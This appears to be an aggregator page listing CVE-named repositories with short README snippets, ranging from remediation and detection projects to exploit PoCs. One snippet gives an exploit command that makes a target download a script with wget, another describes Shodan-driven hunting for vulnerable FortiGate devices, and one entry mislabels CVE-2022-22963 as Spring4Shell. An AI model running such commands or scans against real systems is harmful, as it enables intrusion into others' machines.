CVE-2026-53587

Este repositorio no tiene un README...

CVE-2013-3900_Remediation_PowerShell

CVE-2013-3900RemediationPowerShell Script to make changes on registry to fix CVE-2013-3900. It comes with an option to undo in case it breaks something on your environment. Steps Download the script, run it with Admin Privileges, reboot the machine...

CVE-2022-22963-PoC

CVE-2022-22963: Spring4Shell RCE Exploit This is a python implemetation of Spring4Shell, CVE-2022-22963, affecting services running Spring Cloud Function /tmp/rce $ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh' + Host is vulnerable + Command executed + Explo...

SwaggerUI-CVE-2016-1000229

This repository does not have a README...

From-EternalBlue-to-CVE-2025-2776-The-Evolution-of-an-SMB-Attack

From-EternalBlue-to-CVE-2025-2776-The-Evolution-of-an-SMB-Attack It shook the world in 2017 and has evolved into today’s CVE‑2025‑2776. Microsoft still relies on SMBv1, this article will explain how attackers have tweaked the chain from a simple DLL to a full reverse‑shell stack, and what that...

vulnerability-assessment

openssh-vulnerability-assessment 专业网络安全评估，演示OpenSSH 6.6.1p1关键漏洞（CVE-2016-0777、CVE-2015-5600）的漏洞识别、CVSS严重性评分、MITRE ATT&CK框架应用及详细修复计划。 🛡️ OpenSSH 6.6.1p1 漏洞评估 一份专业的安全漏洞评估，演示了过时OpenSSH服务的识别、分析与修复。 📋 评估概要 评估日期： 2023年9月28日 目标系统： 10.10.3.31 使用的扫描器： Nmap 7.91 🔍 执行摘要...

CVE-2026-28956

CVE-2026-28956 Donar Apoya el mantenimiento de este proyecto con PayPal o escaneando el código QR a continuación. ⚡ Uso simple Utilice este proyecto solo en entornos seguros y autorizados, como: Máquinas virtuales locales Contenedores Docker Entornos de laboratorio aislados Entornos de pruebas de...

CVE-2019-15715

CVE-2019-15715 The current repository is an implementation in Python3 of CVE-2019-15715 and aims to focus on the solely improvement of the CVE-2019-15715 previously reported here by Nikolas Geiselman by adding python's parameter implementation to make the script more flexible. root@kitploit:...

SOC335-CVE-2024-49138-Exploitation-Detected

CVE-2024-49138 Exploitation Detection In this project, I investigated a simulated security incident on the LetsDefend platform, where a Windows machine was compromised through the exploitation of CVE-2024-49138—a privilege escalation vulnerability in the Windows Common Log File System CLFS driver...

CVE-2023-23752

CVE-2023-23752 用于 CVE-2023-23752 Joomla CMS 的简单 bash 脚本 你可以使用 -u 选项指定单个 URL，或使用 -l 选项提供一个包含要测试脆弱端点的 URL 列表的文件。 此脚本保存所有 HTTP 响应数据并显示敏感信息。 依赖：httpx 使用此脚本前请安装 httpx 工具 示例： root@kitploit: ./cve-2023-23752-PoC.sh -u https://vuln-site-example.com ./cve-2023-23752-PoC.sh -l list.txt CVE...

magento2-encryption-key-manager-cli

Magento 2 加密密钥管理器 CLI 一款用于 Magento 2 加密密钥轮换和管理的实用工具。CVE-2024-34102（又名 Cosmic Sting）的受害者可将其用于善后处理。 设计用途 开发用途 部署自动化 CVE-2024-34102（又名 Cosmic Sting）善后处理 CVE-2024-34102（又名 Cosmic Sting） 应用安全补丁后，您需要执行一次密钥轮换，以完全阻止攻击者通过管理员级别的 WebAPI 访问。 如果您无法升级或应用官方隔离补丁，请参阅 我们的补丁。 如果官方的加密密钥轮换命令 php bin/magento...

CVE-2023-23397-POC

CVE-2023-23397-POC CVE-2023-23397漏洞的简单PoC，有效载荷通过电子邮件发送。...

CVE-2019-17382-EXPLOIT

CVE-2019-17382 - Zabbix 认证绕过 在 Zabbix 版本高达 4.4 中发现的一个严重漏洞。该问题存在于 zabbix.php 文件中，当使用 dashboard.view 动作且 dashboardid=1 时触发。它允许攻击者绕过登录页面，从而未授权访问仪表板创建功能。因此，攻击者无需有效凭据（用户名/密码）即可创建仪表板、报表、屏幕或地图，本质上以匿名方式操作。 漏洞影响 利用此漏洞，可以创建未授权的元素（仪表板/报表/屏幕/地图），这些元素不仅攻击者可以访问，系统内的其他用户和管理员也可以访问。 漏洞识别 通过访问带有以下参数的 zabbix.php...

framework_base_AOSP10_r33_CVE-2020-0137

This repository does not have a README...

CVE-2025-24367

This repository does not have a README...

cve-2024-21762-checker

FortiGate cve-2024-21762-checker 此脚本用于检测基于CVE-2024-21762的FortiGate SSL VPN漏洞。它使用Shodan查找易受攻击的设备，并测试其漏洞状态。 特点 使用Shodan API查找在10443端口运行SSL VPN的FortiGate设备。 检查设备的漏洞状态。 灵活的Shodan查询。 显示结果并附带组织、国家等附加信息。 要求 Python 3.x Shodan API 密钥 安装 1. 克隆此仓库： root@kitploit: git clone...

CVE-2024-1781

X6000R-AX3000-Wifi-6-Giga...

Dirty-Pipe-Exploit

Dirty-Pipe-Exploit The Dirty Pipe exploit CVE-2022-0847 is a Linux kernel vulnerability v5.8+ allowing unprivileged attackers to overwrite arbitrary files via a flaw in the pipe mechanism. This leads to privilege escalation, granting root access. Similar to Dirty Cow but easier to exploit. Fix:...

CVE-2021-34527

CVE-2021-34527...

Apache-OFBiz-Exploit

Apache-OFBiz-Exploit Exploit for Apache OFBiz CVE-2024-38856 By: Alisson Faoli Description This repository contains an exploit for the CVE-2024-38856 vulnerability found in Apache OFBiz. The flaw allows Unauthenticated RCE Remote Code Execution. Note: This exploit is provided for educational and...